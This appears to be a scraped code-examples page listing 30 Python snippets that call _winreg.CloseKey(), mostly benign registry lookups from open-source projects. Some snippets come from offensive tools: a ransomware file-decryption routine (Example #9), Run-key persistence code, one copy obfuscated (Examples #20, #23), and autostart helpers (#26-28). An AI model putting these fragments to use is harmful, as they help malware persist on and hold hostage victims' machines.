Python _winreg.CloseKey() Examples

The following are 30 code examples of _winreg.CloseKey(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module _winreg , or try the search function .
Example #1
Source File: fs.py    From uniconvertor with GNU Affero General Public License v3.0 6 votes vote down vote up
def get_system_fontdirs():
    """
    The function detects system font directories according to detected 
    system type.
    """
    if system.get_os_family() == system.LINUX:
        home = os.path.expanduser('~')
        return ['/usr/share/fonts', os.path.join(home, '.fonts')]
    if system.get_os_family() == system.WINDOWS:
        try:
            import _winreg
        except ImportError:
            return [os.path.join(os.environ['WINDIR'], 'Fonts'), ]
        else:
            k = _winreg.OpenKey(
                _winreg.HKEY_CURRENT_USER,
                r"Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
            )
            try:
                return [_winreg.QueryValueEx(k, "Fonts")[0], ]
            finally:
                _winreg.CloseKey(k)
    if system.get_os_family() == system.MACOSX:
        # FIXME: It's a stub. The paths should be more exact.
        return ['/', ] 
Example #2
Source File: regobj.py    From NVDARemote with GNU General Public License v2.0 6 votes vote down vote up
def flush(self):
        """Ensure that the key's data is flushed to disk.

        Quoting the _winreg documentation:

          It is not necessary to call FlushKey() to change a key. Registry
          changes are flushed to disk by the registry using its lazy flusher.
          Registry changes are also flushed to disk at system shutdown. 
          Unlike CloseKey(), the FlushKey() method returns only when all the
          data has been written to the registry. An application should only
          call FlushKey() if it requires absolute certainty that registry
          changes are on disk.

          If you don't know whether a FlushKey() call is required, it
          probably isn't.

        """
        _winreg.FlushKey(self.hkey) 
Example #3
Source File: win32regchecker.py    From p2ptv-pi with MIT License 6 votes vote down vote up
def readKey(self, hkey, key_name, value_name = '', ignore_errors = False):
        if sys.platform != 'win32':
            return None
        try:
            if DEBUG:
                print >> sys.stderr, 'win32regcheck: Opening', key_name, value_name
            full_key = _winreg.OpenKey(hkey, key_name, 0, _winreg.KEY_READ)
            if DEBUG:
                print >> sys.stderr, 'win32regcheck: Open returned', full_key
            value_data, value_type = _winreg.QueryValueEx(full_key, value_name)
            if DEBUG:
                print >> sys.stderr, 'win32regcheck: Read', value_data, value_type
            _winreg.CloseKey(full_key)
            return value_data
        except:
            if not ignore_errors:
                print_exc(file=sys.stderr)
                print_stack()
            return None 
Example #4
Source File: tools.py    From syncthing-gtk with GNU General Public License v2.0 6 votes vote down vote up
def _get_install_path():
		"""
		Returns installation path from registry.
		Available only on Windows
		"""
		if is_portable():
			return os.environ["XDG_CONFIG_HOME"]
		try:
			key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, "Software\\SyncthingGTK")
			path, keytype = _winreg.QueryValueEx(key, "InstallPath")
			path = str(path)
			_winreg.CloseKey(key)
			return path
		except WindowsError:
			# This is really shouldn't happen. Use executable path.
			os.path.dirname(sys.executable) 
Example #5
Source File: recipe-502268.py    From code with MIT License 6 votes vote down vote up
def __init__(self):
        self.hkey={}
        for key in (k for k in dir(reg) if k.startswith('HKEY_')):
            try:
                chk = reg.ConnectRegistry(None, getattr(reg, key))
                inf = reg.QueryInfoKey(chk)
                reg.CloseKey(chk)
            except WindowsError: pass           # some keys may appear in _winreg but can't be reached
            else:
                hk = Hkey(key)
                try:
                    chk=hk.keys
                except WindowsError: pass       # some keys can be accessed but not enumerated
                else:                           # some keys work fine ...
                    name=key[5:].lower()
                    self.hkey[name]=hk          # for iterating
                    setattr(self, name, hk)     # for easy access 
Example #6
Source File: msvs.py    From mbuild with Apache License 2.0 6 votes vote down vote up
def _read_registry(root,key,value):
    if _is_py2:
        import _winreg as winreg
    else:
        import winreg
    try:
        hkey = winreg.OpenKey(root, key)
    except:
        return None
    try:
        (val, typ) = winreg.QueryValueEx(hkey, value)
    except:
        winreg.CloseKey(hkey)
        return None
    winreg.CloseKey(hkey)
    return val 
Example #7
Source File: util.py    From byob with GNU General Public License v3.0 6 votes vote down vote up
def registry_key(key, subkey, value):
    """
    Create a new Windows Registry Key in HKEY_CURRENT_USER

    `Required`
    :param str key:         primary registry key name
    :param str subkey:      registry key sub-key name
    :param str value:       registry key sub-key value

    Returns True if successful, otherwise False

    """
    try:
        import _winreg
        reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, key, 0, _winreg.KEY_WRITE)
        _winreg.SetValueEx(reg_key, subkey, 0, _winreg.REG_SZ, value)
        _winreg.CloseKey(reg_key)
        return True
    except Exception as e:
        log(e)
        return False 
Example #8
Source File: util.py    From byob with GNU General Public License v3.0 6 votes vote down vote up
def registry_key(key, subkey, value):
    """
    Create a new Windows Registry Key in HKEY_CURRENT_USER

    `Required`
    :param str key:         primary registry key name
    :param str subkey:      registry key sub-key name
    :param str value:       registry key sub-key value

    Returns True if successful, otherwise False

    """
    try:
        import _winreg
        reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, key, 0, _winreg.KEY_WRITE)
        _winreg.SetValueEx(reg_key, subkey, 0, _winreg.REG_SZ, value)
        _winreg.CloseKey(reg_key)
        return True
    except Exception as e:
        log(e)
        return False 
Example #9
Source File: ransom.py    From byob with GNU General Public License v3.0 6 votes vote down vote up
def _iter_files(rsa_key, base_dir=None):
    try:
        if isinstance(rsa_key, Crypto.PublicKey.RSA.RsaKey):
            if base_dir:
                if os.path.isdir(base_dir):
                    return os.path.walk(base_dir, lambda _, dirname, files: [globals()['tasks'].put_nowait((encrypt_file, (os.path.join(dirname, filename), rsa_key))) for filename in files], None)
                else:
                    util.log("Target directory '{}' not found".format(base_dir))
            else:
                cipher = Crypto.Cipher.PKCS1_OAEP.new(rsa_key)
                reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, globals()['registry_key'], 0, _winreg.KEY_READ)
                i = 0
                while True:
                    try:
                        filename, key, _ = _winreg.EnumValue(reg_key, i)
                        key = cipher.decrypt(base64.b64decode(key))
                        globals()['tasks'].put_nowait((decrypt_file, (filename, key)))
                        i += 1
                    except:
                        _winreg.CloseKey(reg_key)
                        break
    except Exception as e:
        util.log('{} error: {}'.format(_iter_files.__name__, str(e))) 
Example #10
Source File: util.py    From byob with GNU General Public License v3.0 6 votes vote down vote up
def registry_key(key, subkey, value):
    """
    Create a new Windows Registry Key in HKEY_CURRENT_USER

    `Required`
    :param str key:         primary registry key name
    :param str subkey:      registry key sub-key name
    :param str value:       registry key sub-key value

    Returns True if successful, otherwise False

    """
    try:
        import _winreg
        reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, key, 0, _winreg.KEY_WRITE)
        _winreg.SetValueEx(reg_key, subkey, 0, _winreg.REG_SZ, value)
        _winreg.CloseKey(reg_key)
        return True
    except Exception as e:
        log(e)
        return False 
Example #11
Source File: uninstall.py    From pyxll-examples with The Unlicense 6 votes vote down vote up
def uninstall_all():
    """uninstalls PyXLL from all installed Excel versions"""
    for wow64_flags in (winreg.KEY_WOW64_64KEY, winreg.KEY_WOW64_32KEY):
        for root in _root_keys.keys():
            try:
                flags = wow64_flags | winreg.KEY_READ
                office_root = winreg.OpenKey(root, r"Software\Microsoft\Office", 0, flags)
            except WindowsError:
                continue

            # look for all installed versions of Excel and uninstall PyXLL
            i = 0
            while True:
                try:
                    subkey = winreg.EnumKey(office_root, i)
                except WindowsError:
                    break

                match = re.match("^(\d+(?:\.\d+)?)$", subkey)
                if match:
                    office_version = match.group(1)
                    uninstall(office_root, office_version, wow64_flags)
                i += 1

            winreg.CloseKey(office_root) 
Example #12
Source File: findsystem.py    From stdm with GNU General Public License v2.0 6 votes vote down vote up
def win32FontDirectory( ):
    """Get User-specific font directory on Win32"""
    try:
        import _winreg
    except ImportError:
        return os.path.join(os.environ['WINDIR'], 'Fonts')
    else:
        k = _winreg.OpenKey(
            _winreg.HKEY_CURRENT_USER,
            r"Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
        )
        try:
            # should check that k is valid? How?
            return _winreg.QueryValueEx( k, "Fonts" )[0]
        finally:
            _winreg.CloseKey( k ) 
Example #13
Source File: InnoSetup.py    From EventGhost with GNU General Public License v2.0 6 votes vote down vote up
def GetInnoCompilerPath():
    try:
        key = _winreg.OpenKey(
            _winreg.HKEY_LOCAL_MACHINE,
            (
                "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\"
                "Uninstall\\Inno Setup 5_is1"
            )
        )
        installPath = _winreg.QueryValueEx(key, "InstallLocation")[0]
        _winreg.CloseKey(key)
    except WindowsError:
        return None
    installPath = join(installPath, "ISCC.exe")
    if not exists(installPath):
        return None
    return installPath 
Example #14
Source File: __init__.py    From EventGhost with GNU General Public License v2.0 6 votes vote down vote up
def MyComputer(self):
        mc_reg = None
        try:
            mc_reg = _winreg.OpenKey(
                _winreg.HKEY_CLASSES_ROOT,
                "CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
            )
            value, type = _winreg.QueryValueEx(mc_reg, "LocalizedString")
            dll = os.path.split(value.split(",")[0][1:])[1]
            index = -1*int(value.split(",")[1])
            myComputer = LoadString(LoadLibrary(dll), index)
        except:
            myComputer = self.text.myComp
        if mc_reg:
            _winreg.CloseKey(mc_reg)
        return myComputer 
Example #15
Source File: __init__.py    From EventGhost with GNU General Public License v2.0 6 votes vote down vote up
def GetMpcHcPath(self):
        """
        Get the path of MPC-HC's installation directory through querying
        the Windows registry.
        """
        try:
            if "PROCESSOR_ARCHITEW6432" in environ:
                args = [_winreg.HKEY_CURRENT_USER,
                    "Software\MPC-HC\MPC-HC"]
                args.extend((0, _winreg.KEY_READ | _winreg.KEY_WOW64_64KEY))
            else:
                args = [_winreg.HKEY_CURRENT_USER,
                    "Software\Gabest\Media Player Classic"]
            mpc = _winreg.OpenKey(*args)
            mpcPath =_winreg.QueryValueEx(mpc, "ExePath")[0]
            _winreg.CloseKey(mpc)
        except WindowsError:
            mpcPath = None
        return mpcPath 
Example #16
Source File: __init__.py    From EventGhost with GNU General Public License v2.0 6 votes vote down vote up
def RunEmailClient(text):
    """Get the path of default email client through querying the
        Windows registry. """
    try:
        em_reg = _winreg.OpenKey(
            _winreg.HKEY_CLASSES_ROOT,
            "\\mailto\\shell\\open\\command"
        )
        EmPath = _winreg.EnumValue(em_reg,0)[1]
        _winreg.CloseKey(em_reg)
        EmPath = EmPath.split('"')[1]
    except:
        eg.PrintError(text.error9)
    else:
        head, tail = os.path.split(EmPath)
        win32api.ShellExecute(
            0,
            None,
            tail,
            None,
            head,
            1
        )
#=============================================================================== 
Example #17
Source File: util.py    From byob with GNU General Public License v3.0 6 votes vote down vote up
def registry_key(key, subkey, value):
    """
    Create a new Windows Registry Key in HKEY_CURRENT_USER

    `Required`
    :param str key:         primary registry key name
    :param str subkey:      registry key sub-key name
    :param str value:       registry key sub-key value

    Returns True if successful, otherwise False

    """
    try:
        import _winreg
        reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, key, 0, _winreg.KEY_WRITE)
        _winreg.SetValueEx(reg_key, subkey, 0, _winreg.REG_SZ, value)
        _winreg.CloseKey(reg_key)
        return True
    except Exception as e:
        log(e)
        return False 
Example #18
Source File: vmrun.py    From mech with MIT License 6 votes vote down vote up
def get_win32_executable():
    if PY3:
        import winreg
    else:
        import _winreg as winreg
    reg = winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE)
    try:
        key = winreg.OpenKey(reg, 'SOFTWARE\\VMware, Inc.\\VMware Workstation')
        try:
            return os.path.join(winreg.QueryValueEx(key, 'InstallPath')[0], 'vmrun.exe')
        finally:
            winreg.CloseKey(key)
    except WindowsError:
        key = winreg.OpenKey(reg, 'SOFTWARE\\WOW6432Node\\VMware, Inc.\\VMware Workstation')
        try:
            return os.path.join(winreg.QueryValueEx(key, 'InstallPath')[0], 'vmrun.exe')
        finally:
            winreg.CloseKey(key)
    finally:
        reg.Close()
    return get_fallback_executable() 
Example #19
Source File: cpuinfo.py    From numcodecs with MIT License 5 votes vote down vote up
def winreg_feature_bits():
		key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"Hardware\Description\System\CentralProcessor\0")
		feature_bits = winreg.QueryValueEx(key, "FeatureSet")[0]
		winreg.CloseKey(key)
		return feature_bits 
Example #20
Source File: persistence.py    From Intensio-Obfuscator with MIT License 5 votes vote down vote up
def windows_persistence():
    import _winreg
    from _winreg import HKEY_CURRENT_USER as HKCU

    run_key = r'Software\Microsoft\Windows\CurrentVersion\Run'
    bin_path = sys.executable

    try:
        reg_key = _winreg.OpenKey(HKCU, run_key, 0, _winreg.KEY_WRITE)
        _winreg.SetValueEx(reg_key, 'br', 0, _winreg.REG_SZ, bin_path)
        _winreg.CloseKey(reg_key)
        return True, 'HKCU Run registry key applied'
    except WindowsError:
        return False, 'HKCU Run registry key failed' 
Example #21
Source File: img.py    From pygments with BSD 2-Clause "Simplified" License 5 votes vote down vote up
def _create_win(self):
        lookuperror = None
        keynames = [ (_winreg.HKEY_CURRENT_USER, r'Software\Microsoft\Windows NT\CurrentVersion\Fonts'),
                     (_winreg.HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Fonts'),
                     (_winreg.HKEY_LOCAL_MACHINE, r'Software\Microsoft\Windows NT\CurrentVersion\Fonts'),
                     (_winreg.HKEY_LOCAL_MACHINE, r'Software\Microsoft\Windows\CurrentVersion\Fonts') ]
        for keyname in keynames:
            try:
                key = _winreg.OpenKey(*keyname)
                try:
                    path = self._lookup_win(key, self.font_name, STYLES['NORMAL'], True)
                    self.fonts['NORMAL'] = ImageFont.truetype(path, self.font_size)
                    for style in ('ITALIC', 'BOLD', 'BOLDITALIC'):
                        path = self._lookup_win(key, self.font_name, STYLES[style])
                        if path:
                            self.fonts[style] = ImageFont.truetype(path, self.font_size)
                        else:
                            if style == 'BOLDITALIC':
                                self.fonts[style] = self.fonts['BOLD']
                            else:
                                self.fonts[style] = self.fonts['NORMAL']
                    return
                except FontNotFound as err:
                    lookuperror = err
                finally:
                    _winreg.CloseKey(key)
            except EnvironmentError:
                pass
        else:
            # If we get here, we checked all registry keys and had no luck
            # We can be in one of two situations now:
            # * All key lookups failed. In this case lookuperror is None and we
            #   will raise a generic error
            # * At least one lookup failed with a FontNotFound error. In this
            #   case, we will raise that as a more specific error
            if lookuperror:
                raise lookuperror
            raise FontNotFound('Can\'t open Windows font registry key') 
Example #22
Source File: font_manager.py    From matplotlib-4-abaqus with MIT License 5 votes vote down vote up
def win32FontDirectory():
    """
    Return the user-specified font directory for Win32.  This is
    looked up from the registry key::

      \\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Fonts

    If the key is not found, $WINDIR/Fonts will be returned.
    """
    try:
        import _winreg
    except ImportError:
        pass # Fall through to default
    else:
        try:
            user = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, MSFolders)
            try:
                try:
                    return _winreg.QueryValueEx(user, 'Fonts')[0]
                except OSError:
                    pass # Fall through to default
            finally:
                _winreg.CloseKey(user)
        except OSError:
            pass # Fall through to default
    return os.path.join(os.environ['WINDIR'], 'Fonts') 
Example #23
Source File: persistence.py    From Intensio-Obfuscator with MIT License 5 votes vote down vote up
def srOXhtoTWVPOQTAFQsEjXglmECQYMydH():
    import _winreg
    from _winreg import HKEY_CURRENT_USER as HKCU
    ejhEOFlPViXKPUHKJhcSyqqQjSUcagli = r'Software\Microsoft\Windows\CurrentVersion\Run'
    MtcFrCNqZIqaQyIxdGTfhTosybVfegHt = sys.executable
    try:
        SCyNiWCgkJlizIsydlByszPSbHjrsmmo = _winreg.OpenKey(HKCU, ejhEOFlPViXKPUHKJhcSyqqQjSUcagli, 0, _winreg.KEY_WRITE)
        _winreg.SetValueEx(SCyNiWCgkJlizIsydlByszPSbHjrsmmo, 'br', 0, _winreg.REG_SZ, MtcFrCNqZIqaQyIxdGTfhTosybVfegHt)
        _winreg.CloseKey(SCyNiWCgkJlizIsydlByszPSbHjrsmmo)
        return True, 'HKCU Run registry key applied'
    except WindowsError:
        return False, 'HKCU Run registry key failed' 
Example #24
Source File: img.py    From komodo-wakatime with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def _create_win(self):
        try:
            key = _winreg.OpenKey(
                _winreg.HKEY_LOCAL_MACHINE,
                r'Software\Microsoft\Windows NT\CurrentVersion\Fonts')
        except EnvironmentError:
            try:
                key = _winreg.OpenKey(
                    _winreg.HKEY_LOCAL_MACHINE,
                    r'Software\Microsoft\Windows\CurrentVersion\Fonts')
            except EnvironmentError:
                raise FontNotFound('Can\'t open Windows font registry key')
        try:
            path = self._lookup_win(key, self.font_name, STYLES['NORMAL'], True)
            self.fonts['NORMAL'] = ImageFont.truetype(path, self.font_size)
            for style in ('ITALIC', 'BOLD', 'BOLDITALIC'):
                path = self._lookup_win(key, self.font_name, STYLES[style])
                if path:
                    self.fonts[style] = ImageFont.truetype(path, self.font_size)
                else:
                    if style == 'BOLDITALIC':
                        self.fonts[style] = self.fonts['BOLD']
                    else:
                        self.fonts[style] = self.fonts['NORMAL']
        finally:
            _winreg.CloseKey(key) 
Example #25
Source File: hererocks.py    From hererocks with MIT License 5 votes vote down vote up
def query_registry(key, value):
    keys = [key, key.replace("\\", "\\Wow6432Node\\", 1)]

    for candidate in keys:
        if opts.verbose:
            print("Querying registry key HKEY_LOCAL_MACHINE\\{}:{}".format(candidate, value))

        try:
            handle = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, candidate)
        except WindowsError:
            pass
        else:
            res = winreg.QueryValueEx(handle, value)[0]
            winreg.CloseKey(handle)
            return res 
Example #26
Source File: autorun.py    From TinkererShell with GNU General Public License v3.0 5 votes vote down vote up
def add(name, application):
        """add a new autostart entry"""
        key = get_runonce()
        _winreg.SetValueEx(key, name, 0, _winreg.REG_SZ, application)
        _winreg.CloseKey(key) 
Example #27
Source File: autorun.py    From TinkererShell with GNU General Public License v3.0 5 votes vote down vote up
def exists(name):
        """check if an autostart entry exists"""
        key = get_runonce()
        exists = True
        try:
            _winreg.QueryValueEx(key, name)
        except WindowsError:
            exists = False
        _winreg.CloseKey(key)
        return exists 
Example #28
Source File: autorun.py    From TinkererShell with GNU General Public License v3.0 5 votes vote down vote up
def remove(name):
        """delete an autostart entry"""
        key = get_runonce()
        _winreg.DeleteValue(key, name)
        _winreg.CloseKey(key) 
Example #29
Source File: fuse.py    From ff4d with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def Reg32GetValue(rootkey, keyname, valname):
            key, val = None, None
            try:
                key = reg.OpenKey(rootkey, keyname, 0, reg.KEY_READ | reg.KEY_WOW64_32KEY)
                val = str(reg.QueryValueEx(key, valname)[0])
            except WindowsError:
                pass
            finally:
                if key is not None:
                    reg.CloseKey(key)
            return val 
Example #30
Source File: cpuinfo.py    From numcodecs with MIT License 5 votes vote down vote up
def winreg_hz_actual():
		key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"Hardware\Description\System\CentralProcessor\0")
		hz_actual = winreg.QueryValueEx(key, "~Mhz")[0]
		winreg.CloseKey(key)
		hz_actual = _to_decimal_string(hz_actual)
		return hz_actual